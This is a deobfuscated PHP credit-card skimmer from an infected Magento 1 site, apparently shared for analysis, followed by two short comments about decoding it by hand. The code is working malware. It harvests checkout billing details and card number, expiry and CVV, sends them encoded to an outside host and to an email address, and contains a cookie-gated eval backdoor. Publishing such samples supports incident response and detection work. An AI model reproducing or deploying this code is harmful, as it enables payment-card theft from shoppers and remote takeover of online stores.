Deobfuscated skimmer from https://magento.stackexchange.com/questions/276006/magento-1-malicious-code-attack-in-app-mage-php

javasources-php-skimmer

if(!defined("PORTZILLA")){
    define("PORTZILLA",1);
    function curl_zilla($url,$post){
        ${"options"} = array(
            CURLOPT_RETURNTRANSFER=>true,
            CURLOPT_HEADER=>false,
            CURLOPT_FOLLOWLOCATION=>true,
            CURLOPT_ENCODING=>"",
            CURLOPT_USERAGENT=>"Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0",
            CURLOPT_AUTOREFERER=>true,
            CURLOPT_CONNECTTIMEOUT=>120,
            CURLOPT_TIMEOUT=>120,
            CURLOPT_MAXREDIRS=>10,
            CURLOPT_SSL_VERIFYPEER=>false,
            CURLOPT_SSL_VERIFYHOST=>false
        );
        if(${"post"}){
            ${"options"}[CURLOPT_POST]=1;
            ${"options"}[CURLOPT_POSTFIELDS]=${"post"};
        }
        ${"ch"}=curl_init(${"url"});
        $msxxitoax="content";
        curl_setopt_array(${"ch"},${"options"});
        ${"content"}=@curl_exec(${"ch"});
        return${"content"};
    }
    set_time_limit(360);
    if(isset($_POST["billing"])){
        ${"bill"} = $_POST["billing"]["firstname"]." ".$_POST["billing"]["lastname"]."|".$_POST["billing"]["street"]["0"]."|".$_POST["billing"]["city"]."|".$_POST["billing"]["region"]." |".$_POST["billing"]["postcode"]."|".$_POST["billing"]["country_id"]."|".$_POST["billing"]["telephone"]." ".$_POST["billing"]["email"];
        setcookie("__billing_data",base64_encode(${"bill"}),time()+36000,"/");
        $_COOKIE["__billing_data"]=base64_encode(${"bill"});
    }
    if(isset($_POST["payment"])){
        ${"fieldsArray"}=array("/.*cc_num.*/"=>1,"/.*cc_exp_m.*/"=>2,"/.*cc_exp_y.*/"=>3,"/.*cc_cid.*/"=>4);
        foreach(${"fieldsArray"} as${"f_key"}=>${"f_value"}){
            foreach($_POST["payment"]as${"p_key"}=>${"p_value"}){
                if(preg_match(${"f_key"},${"p_key"},${"matches"})){
                    switch(${"f_value"}){
                        case 1:
                            ${"cc_number"}=${"p_value"};
                            break;
                        case 2:
                            ${"cc_month"}=${"p_value"};
                            break;
                        case 3:
                            ${"cc_year"}=${"p_value"};
                            break;
                        case 4:
                            ${"cc_cid"}=${"p_value"};
                            break;
                    }
                    break;
                }
            }
        }
        if(isset(${"cc_number"})){
            if(strlen(${"cc_month"})==1)${"cc_month"}="0".${"cc_month"};
            if(strlen(${"cc_year"})==4)${"cc_year"}=substr(${"cc_year"},2,2);
            ${"cc_pay"}=${"cc_number"}."|".${"cc_month"}."/".${"cc_year"}."|".${"cc_cid"}."|".base64_decode($_COOKIE["__billing_data"]);
            ${"cc_pay_encoded"}=base64_encode(str_rot13(${"cc_pay"}."\r\n*".$_SERVER["HTTP_HOST"]."*"));
            ${"cc_pay_encoded"}=str_replace("+","%2b",${"cc_pay_encoded"});
            if(function_exists("curl_init")){
                ${"GLOBALS"}["katkgbxq"]="cnt";
                ${"cnt"}=curl_zilla("https://javasources.net/WP/new_release/index.php?view=".${"cc_pay_encoded"},false);
                ${"cnt"}=trim(${"cnt"});
            }

            @mail("obraztsova.aliska@yandex.ru","bb_".$_SERVER["HTTP_HOST"],${"cc_pay"});

        }

        if((isset($_COOKIE["portzilla"]))&&(md5($_COOKIE["portzilla"])=="f2ba0c4297f3d1eb1316f9e57b691161")){
            @eval($_POST["p0"]);exit;
        }
    }
}

Hi thanks for providing this, can you share the tool which you used to decrypt the code ?

I did it pretty much all manually I'm afraid!